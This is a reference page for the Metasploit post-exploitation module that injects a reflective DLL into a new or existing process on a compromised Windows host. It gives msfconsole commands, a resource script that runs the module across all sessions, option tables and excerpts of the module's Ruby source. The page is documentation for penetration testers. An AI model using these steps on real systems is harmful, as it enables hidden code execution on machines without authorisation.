Windows Manage Reflective DLL Injection Module - Metasploit


This page contains detailed information about how to use the post/windows/manage/reflective_dll_inject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Reflective DLL Injection Module
Module: post/windows/manage/reflective_dll_inject
Source code: modules/post/windows/manage/reflective_dll_inject.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will inject a specified reflective DLL into the memory of a process, new or existing. If arguments are specified, they are passed to the DllMain entry point as the lpvReserved (3rd) parameter. To read output from the injected process, set PID to zero and WAIT to non-zero. Make sure the architecture of the DLL matches the target process.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/reflective_dll_inject

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > show options
    ... show and set options ...
msf post(reflective_dll_inject) > set SESSION session-id
msf post(reflective_dll_inject) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/reflective_dll_inject")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • PATH: Reflective DLL to inject into memory of a process

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/reflective_dll_inject post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/reflective_dll_inject

msf6 post(windows/manage/reflective_dll_inject) > show info

       Name: Windows Manage Reflective DLL Injection Module
     Module: post/windows/manage/reflective_dll_inject
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Ben Campbell <[email protected]>
  b4rtik

Compatible session types:
  Meterpreter

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  ARGUMENTS                   no        Command line arguments
  PATH                        yes       Reflective DLL to inject into memory of a process
  PID        0                no        Pid to inject
  PROCESS    notepad.exe      no        Process to spawn
  SESSION                     yes       The session to run this module on.
  WAIT       0                no        Time in seconds to wait before reading output

Description:
  This module will inject a specified reflective DLL into the memory 
  of a process, new or existing. If arguments are specified, they are 
  passed to the DllMain entry point as the lpvReserved (3rd) 
  parameter. To read output from the injected process, set PID to zero 
  and WAIT to non-zero. Make sure the architecture of the DLL matches 
  the target process.

References:
  https://github.com/stephenfewer/ReflectiveDLLInjection

Module Options


This is a complete list of options available in the windows/manage/reflective_dll_inject post exploitation module:

msf6 post(windows/manage/reflective_dll_inject) > show options

Module options (post/windows/manage/reflective_dll_inject):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ARGUMENTS                   no        Command line arguments
   PATH                        yes       Reflective DLL to inject into memory of a process
   PID        0                no        Pid to inject
   PROCESS    notepad.exe      no        Process to spawn
   SESSION                     yes       The session to run this module on.
   WAIT       0                no        Time in seconds to wait before reading output

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/reflective_dll_inject post exploitation module:

msf6 post(windows/manage/reflective_dll_inject) > show advanced

Module advanced options (post/windows/manage/reflective_dll_inject):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   KILL       false            yes       Kill the injected process at the end of the task
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/reflective_dll_inject module can do:

msf6 post(windows/manage/reflective_dll_inject) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/reflective_dll_inject post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/reflective_dll_inject) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Dll not found <DLL_PATH>


Here is a relevant code snippet related to the "Dll not found <DLL_PATH>" error message:

50:	  def run
51:	    dll_path = ::File.expand_path(datastore['PATH'])
52:	    if File.file?(dll_path)
53:	      run_dll(dll_path)
54:	    else
55:	      print_bad("Dll not found #{dll_path}")
56:	    end
57:	  end
58:	
59:	  def pid_exists(pid)
60:	    mypid = client.sys.process.getpid.to_i

Can not select the current process as the injection target


Here is a relevant code snippet related to the "Can not select the current process as the injection target" error message:

58:	
59:	  def pid_exists(pid)
60:	    mypid = client.sys.process.getpid.to_i
61:	
62:	    if pid == mypid
63:	      print_bad('Can not select the current process as the injection target')
64:	      return false
65:	    end
66:	
67:	    host_processes = client.sys.process.get_processes
68:	    if host_processes.length < 1

No running processes found on the target host.


Here is a relevant code snippet related to the "No running processes found on the target host." error message:

64:	      return false
65:	    end
66:	
67:	    host_processes = client.sys.process.get_processes
68:	    if host_processes.length < 1
69:	      print_bad("No running processes found on the target host.")
70:	      return false
71:	    end
72:	
73:	    theprocess = host_processes.find { |x| x["pid"] == pid }
74:	

Pid not found


Here is a relevant code snippet related to the "Pid not found" error message:

107:	      print_status("Opening handle to process #{datastore['PID']}...")
108:	      hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)
109:	      print_good('Handle opened')
110:	      [nil, hprocess]
111:	    else
112:	      print_bad('Pid not found')
113:	      [nil, nil]
114:	    end
115:	  end
116:	
117:	  def run_dll(dll_path)

Output unavailable


Here is a relevant code snippet related to the "Output unavailable" error message:

115:	  end
116:	
117:	  def run_dll(dll_path)
118:	    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
119:	    if datastore['PID'] > 0 or datastore['WAIT'] == 0
120:	      print_warning('Output unavailable')
121:	    end
122:	
123:	    if datastore['PID'] <= 0
124:	      process, hprocess = launch_process
125:	    else

Execution finished


Here is a relevant code snippet related to the "Execution finished" error message:

125:	    else
126:	      process, hprocess = open_process
127:	    end
128:	
129:	    if hprocess.nil?
130:	      print_bad("Execution finished")
131:	      return
132:	    end
133:	
134:	    exploit_mem, offset = inject_dll(hprocess, dll_path)
135:	

Time out exception: wait limit exceeded (5 sec)


Here is a relevant code snippet related to the "Time out exception: wait limit exceeded (5 sec)" error message:

180:	          output.split("\n").each { |x| print_good(x) }
181:	        end
182:	        break if output.nil? or output.length == 0
183:	      end
184:	    rescue Rex::TimeoutError => e
185:	      vprint_warning("Time out exception: wait limit exceeded (5 sec)")
186:	    rescue ::Exception => e
187:	      print_error("Exception: #{e.inspect}")
188:	    end
189:	
190:	    client.response_timeout = old_timeout

Exception: <E.INSPECT>


Here is a relevant code snippet related to the "Exception: <E.INSPECT>" error message:

182:	        break if output.nil? or output.length == 0
183:	      end
184:	    rescue Rex::TimeoutError => e
185:	      vprint_warning("Time out exception: wait limit exceeded (5 sec)")
186:	    rescue ::Exception => e
187:	      print_error("Exception: #{e.inspect}")
188:	    end
189:	
190:	    client.response_timeout = old_timeout
191:	    print_status('End output.')
192:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Ben Campbell
  • b4rtik

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.